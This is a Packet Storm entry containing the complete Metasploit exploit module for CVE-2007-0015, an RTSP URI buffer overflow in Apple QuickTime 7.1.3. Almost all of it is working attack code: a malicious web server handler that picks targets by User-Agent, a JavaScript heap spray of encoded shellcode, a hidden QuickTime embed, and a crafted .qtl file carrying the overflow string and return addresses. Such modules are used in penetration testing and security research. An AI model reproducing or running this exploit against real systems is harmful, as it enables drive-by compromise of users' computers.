Apple QuickTime 7.1.3 RTSP URI Buffer Overflow

2009-11-26T00:00:00
ID PACKETSTORM:82966
Type packetstorm
Reporter MC
Modified 2009-11-26T00:00:00

Description

                                        
                                            `##  
# $Id$  
##  
  
##  
# This file is part of the Metasploit Framework and may be subject to   
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
  
require 'msf/core'  
  
  
class Metasploit3 < Msf::Exploit::Remote  
  
include Msf::Exploit::Remote::HttpServer::HTML  
  
include Msf::Exploit::Remote::BrowserAutopwn  
autopwn_info({  
:os_name => OperatingSystems::WINDOWS,  
:javascript => true,  
:rank => NormalRanking, # reliable memory corruption  
:vuln_test => nil,  
})  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Apple QuickTime 7.1.3 RTSP URI Buffer Overflow',  
'Description' => %q{  
This module exploits a buffer overflow in Apple QuickTime  
7.1.3. This module was inspired by MOAB-01-01-2007. The  
Browser target for this module was tested against IE 6 and  
Firefox 1.5.0.3 on Windows XP SP0/2; Firefox 3 blacklists the  
QuickTime plugin.  
},  
'Author' => [ 'MC', 'egypt' ],  
'License' => MSF_LICENSE,  
'Version' => '$Revision$',  
'References' =>   
[  
[ 'CVE', '2007-0015' ],  
[ 'OSVDB', '31023'],  
[ 'BID', '21829' ],  
[ 'URL', 'http://projects.info-pull.com/moab/MOAB-01-01-2007.html' ],  
],  
'DefaultOptions' =>  
{  
'EXITFUNC' => 'process',  
},  
'Payload' =>  
{  
'Space' => 500,  
'BadChars' => "\x00\x09\x0a\x0d\x20\x22\x25\x26\x27\x2b\x2f\x3a\x3c\x3e\x3f\x40\x5c",  
},  
'Platform' => 'win',  
'Targets' =>  
[  
[ 'Automatic', { } ],  
[ 'Apple QuickTime Player 7.1.3',   
{   
'Ret' => 0x6855d8a2 # xpsp2/2k3 :( | vista ;)   
}  
],  
[ 'Browser Universal',   
{  
'Ret' => 0x0c0c0c0c # tested on xpsp0 and sp2  
}   
],   
],  
'Privileged' => false,  
'DisclosureDate' => 'Jan 1 2007',  
'DefaultTarget' => 0))  
end  
  
def on_request_uri(client, request)  
  
return if ((p = regenerate_payload(client)) == nil)  
  
if (target.name =~ /Automatic/)  
if (request['User-Agent'] =~ /QuickTime/i)  
target = targets[1]  
else  
target = targets[2]  
end  
end  
  
cruft = rand_text_alphanumeric(4)  
# This is all basically filler on the browser target because we can't  
# expect the SEH to be in a reliable place across multiple browsers.  
# Heap spray ftw.  
sploit = rand_text_english(307)  
sploit << p.encoded + "\xeb\x06" + rand_text_english(2)  
sploit << [target.ret].pack('V') + [0xe8, -485].pack('CV')  
  
if (request['User-Agent'] =~ /QuickTime/i or request.uri =~ /.qtl$/)  
print_status("Sending #{self.name} exploit to #{client.peerhost}:#{client.peerport}...")  
print_status("Trying target #{target.name}...")  
content = build_qtl(sploit)  
else  
print_status("Sending #{self.name} init HTML to #{client.peerhost}:#{client.peerport}...")  
  
shellcode = Rex::Text.to_unescape(p.encoded)  
url = ((datastore['SSL']) ? "https://" : "http://")  
url << ((datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(client.peerhost) : datastore['SRVHOST'])  
url << ":" + datastore['SRVPORT']  
url << get_resource   
js = <<-ENDJS  
#{js_heap_spray}  
sprayHeap(unescape("#{shellcode}"), 0x#{target.ret.to_s 16}, 0x4000);  
ENDJS  
content = "<html><body><script><!--\n#{js}//--></script>"  
content << <<-ENDEMBED  
<OBJECT   
CLASSID="clsid:02BF25D5-8C17-4B23-BC80-D3488ABDDC6B"   
WIDTH="1"   
HEIGHT="1"   
CODEBASE="http://www.apple.com/qtactivex/qtplugin.cab">  
<PARAM name="SRC" VALUE = "#{url}/#{cruft}.qtl">  
<PARAM name="QTSRC" VALUE = "#{url}/#{cruft}.qtl">  
<PARAM name="AUTOPLAY" VALUE = "true" >  
<PARAM name="TYPE" VALUE = "video/quicktime" >  
<PARAM name="TARGET" VALUE = "myself" >  
<EMBED   
SRC = "#{url}/#{cruft}.qtl"   
QTSRC = "#{url}/#{cruft}.qtl"   
TARGET = "myself"  
WIDTH = "1"   
HEIGHT = "1"   
AUTOPLAY = "true"   
PLUGIN = "quicktimeplugin"   
TYPE = "video/quicktime"   
CACHE = "false"   
PLUGINSPAGE= "http://www.apple.com/quicktime/download/" >  
</EMBED>  
</OBJECT>  
ENDEMBED  
content << "</body></html>"  
end  
  
send_response(client, content, { 'Content-Type' => "text/html" })   
  
# Handle the payload  
handler(client)   
end  
  
def build_qtl(overflow)  
cruft = rand_text_english(4)  
  
content = "<?xml version=\"1.0\"?>\n"  
content << "<?quicktime type=\"application/x-quicktime-media-link\"?>\n"  
content << "<embed autoplay=\"true\" \n"  
content << "moviename=\"#{cruft}\" \n"  
content << "qtnext=\"#{cruft}\" \n"  
content << "type=\"video/quicktime\" \n"  
content << "src=\"rtsp://#{cruft}:#{overflow}\" />\n"   
  
end  
end  
`